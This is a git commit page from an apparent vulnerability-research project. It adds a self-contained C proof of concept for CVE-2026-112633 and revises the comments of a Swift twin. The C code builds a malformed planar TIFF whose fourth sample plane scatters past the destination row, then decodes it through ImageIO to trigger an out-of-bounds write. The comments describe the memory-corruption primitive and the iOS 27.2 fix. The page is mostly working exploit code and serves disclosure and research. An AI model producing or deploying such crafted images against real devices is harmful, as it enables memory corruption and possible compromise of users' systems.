v2.0 — 31 C POC twins + harness fixes
- 31 C POC files, one per CVE folder: full seed construction + trigger + main(), self-contained, no app dependency. All compile clean with clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded oracle on this host. - CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the mechanism behind the cm.rpu death oracle on the simulator build. - Harness fixes: glyphCount guard, MachOInspector size guard, ModTools clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display. - POC comments rewritten English-only (31 swift + arc.rr + 5 py). - README (en/zh): C twin column, .c anatomy section, compile/run examples, C oracle verification status. - Dead if-let binding removed from Identity summary; v2.0 build 3.
This commit is contained in:
1 parent
1ea76ab005
commit
7949c7ce9f
79 files changed
+4109
-892
No files matched your search
@@ -0,0 +1,166 @@
|
||||
// iio.tiff.planar · ImageIO · decodeStripPlanar · CVE-2026-112633
|
||||
// Planar configuration scatter past the destination row
|
||||
// C twin of the Swift POC: builds the 4-plane/3-channel TIFF and decodes it through ImageIO.
|
||||
// Variant iio.pdf.raster (oversized MediaBox rasterization) is noted in the Swift POC.
|
||||
// Build: clang -O2 -o cve-2026-112633 CVE-2026-112633.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation
|
||||
// Run: ./cve-2026-112633 [spp]
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
// ── byte buffer ──
|
||||
typedef struct { uint8_t *d; size_t n, cap; } buf;
|
||||
static void bneed(buf *b, size_t extra) {
|
||||
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
|
||||
}
|
||||
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
|
||||
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
|
||||
static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
|
||||
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
|
||||
|
||||
static void le16(buf *b, uint16_t v) { bput(b, v & 0xff); bput(b, v >> 8); }
|
||||
static void le32(buf *b, uint32_t v) {
|
||||
bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff);
|
||||
}
|
||||
|
||||
// ── seed construction (from Cinder27 Sources: TIFFPayload.planarScatter) ──
|
||||
// Photometric=RGB gives a 3-channel destination row; SamplesPerPixel=4 with
|
||||
// PlanarConfiguration=2 makes the 4th plane scatter past it.
|
||||
static buf tiff_planar_scatter(int width, int height, int spp, uint16_t photometric) {
|
||||
size_t strip_bytes = (size_t)width * height;
|
||||
|
||||
// deterministic layout: IFD at 8, BitsPerSample blob, StripOffsets blob, plane data
|
||||
size_t ifd_size = 2 + 10 * 12 + 4;
|
||||
size_t extra_offset = 8 + ifd_size;
|
||||
if (extra_offset % 2) extra_offset++;
|
||||
size_t bits_offset = extra_offset;
|
||||
size_t offsets_blob_offset = bits_offset + (size_t)spp * 2;
|
||||
size_t strip_base = offsets_blob_offset + (size_t)spp * 4;
|
||||
|
||||
uint8_t bits[8] = {0}; // up to 4 planes × le16(8)
|
||||
for (int i = 0; i < spp && i < 4; i++) { bits[i * 2] = 8; bits[i * 2 + 1] = 0; }
|
||||
|
||||
uint8_t strip_offsets[16] = {0}; // up to 4 × le32
|
||||
for (int i = 0; i < spp && i < 4; i++) {
|
||||
uint32_t v = (uint32_t)(strip_base + (size_t)i * strip_bytes);
|
||||
strip_offsets[i * 4] = v & 0xff;
|
||||
strip_offsets[i * 4 + 1] = (v >> 8) & 0xff;
|
||||
strip_offsets[i * 4 + 2] = (v >> 16) & 0xff;
|
||||
strip_offsets[i * 4 + 3] = (v >> 24) & 0xff;
|
||||
}
|
||||
|
||||
uint8_t counts[16] = {0}; // up to 4 × le32 strip byte counts
|
||||
for (int i = 0; i < spp && i < 4; i++) {
|
||||
uint32_t v = (uint32_t)strip_bytes;
|
||||
counts[i * 4] = v & 0xff;
|
||||
counts[i * 4 + 1] = (v >> 8) & 0xff;
|
||||
counts[i * 4 + 2] = (v >> 16) & 0xff;
|
||||
counts[i * 4 + 3] = (v >> 24) & 0xff;
|
||||
}
|
||||
|
||||
uint8_t v256[4] = {(uint8_t)width, (uint8_t)(width >> 8), (uint8_t)(width >> 16), (uint8_t)(width >> 24)};
|
||||
uint8_t v257[4] = {(uint8_t)height, (uint8_t)(height >> 8), (uint8_t)(height >> 16), (uint8_t)(height >> 24)};
|
||||
uint8_t v258c[4] = {0}; // placeholder for the 2-byte tag 258 inline field
|
||||
uint8_t v259[2] = {1, 0}; // compression none
|
||||
uint8_t v262[2] = {(uint8_t)photometric, (uint8_t)(photometric >> 8)};
|
||||
uint8_t v273c[4] = {0}; // placeholder — real value is the blob offset
|
||||
uint8_t v277[2] = {(uint8_t)spp, (uint8_t)(spp >> 8)};
|
||||
uint8_t v278[4] = {(uint8_t)height, (uint8_t)(height >> 8), (uint8_t)(height >> 16), (uint8_t)(height >> 24)};
|
||||
uint8_t v284[2] = {2, 0}; // PlanarConfiguration = 2 (planar)
|
||||
|
||||
// tag-sorted IFD entries; the two >4-byte values are carried by blobs
|
||||
// tag 258 (BitsPerSample, count=spp) — blob at bits_offset
|
||||
// tag 273 (StripOffsets, count=spp) — blob at offsets_blob_offset
|
||||
// tag 279 (StripByteCounts, count=spp) — blob, appended after 273
|
||||
buf out = {0};
|
||||
bcat(&out, "II\x2a\x00", 4);
|
||||
le32(&out, 8);
|
||||
le16(&out, 10);
|
||||
struct { uint16_t tag, type; uint32_t count; uint32_t val; } e[10] = {
|
||||
{256, 4, 1, 0}, {257, 4, 1, 0},
|
||||
{258, 3, (uint32_t)spp, (uint32_t)bits_offset},
|
||||
{259, 3, 1, 0}, {262, 3, 1, 0},
|
||||
{273, 4, (uint32_t)spp, (uint32_t)offsets_blob_offset},
|
||||
{277, 3, 1, 0}, {278, 4, 1, 0},
|
||||
{279, 4, (uint32_t)spp, (uint32_t)(offsets_blob_offset + (size_t)spp * 4)},
|
||||
{284, 3, 1, 0},
|
||||
};
|
||||
// inline values for the scalar entries
|
||||
uint32_t scalars[10] = {0};
|
||||
memcpy(&scalars[0], v256, 4);
|
||||
memcpy(&scalars[1], v257, 4);
|
||||
// 258: blob
|
||||
memcpy(&scalars[3], v259, 2); // zero-padded inline
|
||||
memcpy(&scalars[4], v262, 2);
|
||||
// 273: blob
|
||||
memcpy(&scalars[6], v277, 2);
|
||||
memcpy(&scalars[7], v278, 4);
|
||||
// 279: blob
|
||||
memcpy(&scalars[9], v284, 2);
|
||||
(void)v258c; (void)v273c;
|
||||
for (int i = 0; i < 10; i++) {
|
||||
le16(&out, e[i].tag);
|
||||
le16(&out, e[i].type);
|
||||
le32(&out, e[i].count);
|
||||
if (e[i].tag == 258 || e[i].tag == 273 || e[i].tag == 279) {
|
||||
le32(&out, e[i].val); // blob offset
|
||||
} else {
|
||||
le32(&out, scalars[i]);
|
||||
}
|
||||
}
|
||||
le32(&out, 0); // next IFD
|
||||
if (out.n < extra_offset) brep(&out, 0, extra_offset - out.n);
|
||||
bcat(&out, bits, (size_t)spp * 2); // 258 blob
|
||||
bcat(&out, strip_offsets, (size_t)spp * 4); // 273 blob
|
||||
bcat(&out, counts, (size_t)spp * 4); // 279 blob
|
||||
if (out.n < strip_base) brep(&out, 0, strip_base - out.n);
|
||||
for (int plane = 0; plane < spp; plane++) {
|
||||
brep(&out, (uint8_t)(0x40 + plane * 0x20), strip_bytes);
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
// ── trigger: decode through ImageIO ──
|
||||
#include <ImageIO/ImageIO.h>
|
||||
#include <CoreGraphics/CoreGraphics.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
static int decode_image(const buf *img, const char **detail) {
|
||||
CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n);
|
||||
if (!cf) { *detail = "CFDataCreate failed"; return -1; }
|
||||
CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL);
|
||||
CFRelease(cf);
|
||||
if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; }
|
||||
size_t frames = CGImageSourceGetCount(src);
|
||||
CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL);
|
||||
static char r[256];
|
||||
if (cg) {
|
||||
snprintf(r, sizeof r, "decoded %zu x %zu, %zu frame(s)",
|
||||
(size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames);
|
||||
CGImageRelease(cg);
|
||||
} else {
|
||||
snprintf(r, sizeof r, "decode refused at index 0 (%zu frame(s) declared)", frames);
|
||||
}
|
||||
CFRelease(src);
|
||||
*detail = r;
|
||||
return cg ? 0 : -1;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
int width = 64, height = 64;
|
||||
int spp = argc > 1 ? atoi(argv[1]) : 4;
|
||||
if (spp < 1) spp = 1; if (spp > 4) spp = 4;
|
||||
|
||||
buf tiff = tiff_planar_scatter(width, height, spp, 2);
|
||||
FILE *f = fopen("planar_scatter.tif", "wb");
|
||||
if (f) { fwrite(tiff.d, 1, tiff.n, f); fclose(f); }
|
||||
|
||||
const char *detail = NULL;
|
||||
int rc = decode_image(&tiff, &detail);
|
||||
printf("CVE-2026-112633 · %dx%d RGB destination, %d planes (planar) · %s\n",
|
||||
width, height, spp, detail ? detail : "?");
|
||||
printf("seed: planar_scatter.tif (%zu B) · exit code %d\n", tiff.n, rc);
|
||||
bfree(&tiff);
|
||||
return rc == 0 ? 0 : 1;
|
||||
}
|
||||
@@ -1,23 +1,8 @@
|
||||
// iio.tiff.planar · ImageIO · decodeStripPlanar · CVE-2026-112633 / 112614
|
||||
// 原语: OOB 写 · 进程内 · tier 2
|
||||
// Primitive: OOB write · in-process · tier 2
|
||||
//
|
||||
// [zh] TIFF planar 散写越界
|
||||
// 当 PlanarConfiguration=2 且 SamplesPerPixel 大于 Photometric 所指的通道数时,散写指针的偏移以 32 位乘法计算,且计算结果与目标行容量之间不存在任何比较。
|
||||
// 27.2 改为 64 位 umull 并比对所需字节数与容量。
|
||||
//
|
||||
// [en] TIFF planar scatter out-of-bounds write
|
||||
// With PlanarConfiguration=2 and SamplesPerPixel greater than the channel count implied by Photometric,
|
||||
// the scatter pointer offset is computed with a 32-bit multiply and the result is never compared
|
||||
// against the destination row capacity. iOS 27.2 switches to a 64-bit umull and compares required
|
||||
// bytes against capacity.
|
||||
// ── 判别 / oracle ──
|
||||
// 24A435 的报错串不存在:\"*** ERROR: decodeStripPlanar destination row is %u bytes, the scatter needs %llu\"。
|
||||
// 变体 iio.pdf.raster: PDF 栅格化解码缓冲越界
|
||||
|
||||
// TIFF planar scatter out-of-bounds write
|
||||
import Foundation
|
||||
|
||||
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
|
||||
// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
|
||||
enum B {
|
||||
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
|
||||
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
|
||||
@@ -38,22 +23,8 @@ enum B {
|
||||
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
|
||||
}
|
||||
|
||||
/*
|
||||
// iio.pdf.raster · ImageIO · PDFReadPlugin::decodeImageData · CVE-2026-112633
|
||||
// 原语: OOB 写 · 进程内 · tier 2
|
||||
// Primitive: OOB write · in-process · tier 2
|
||||
//
|
||||
// [zh] PDF 栅格化解码缓冲越界
|
||||
// PDF 页被栅格化进调用方提供的解码缓冲,但未校验该缓冲是否足以容纳。27.2 补入 umull width×bpp、与 have 比较、b.hi 跳转,并报 \"decode buffer
|
||||
// too small: need %zu bytes (%zu x %zu), have %zu\"。
|
||||
//
|
||||
// [en] PDF rasterisation decode buffer overrun
|
||||
// The PDF page is rasterised into a caller-supplied decode buffer with no check that the buffer is
|
||||
// large enough. iOS 27.2 adds umull width×bpp, compares against have, branches b.hi, and reports
|
||||
// "decode buffer too small: need %zu bytes (%zu x %zu), have %zu".
|
||||
*/
|
||||
|
||||
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (TIFFPayload) ──
|
||||
// ── seed construction (from Cinder27 Sources: TIFFPayload) ──
|
||||
enum TIFFPayload {
|
||||
struct Entry {
|
||||
let tag: UInt16
|
||||
|
||||
Reference in new issue
Block a user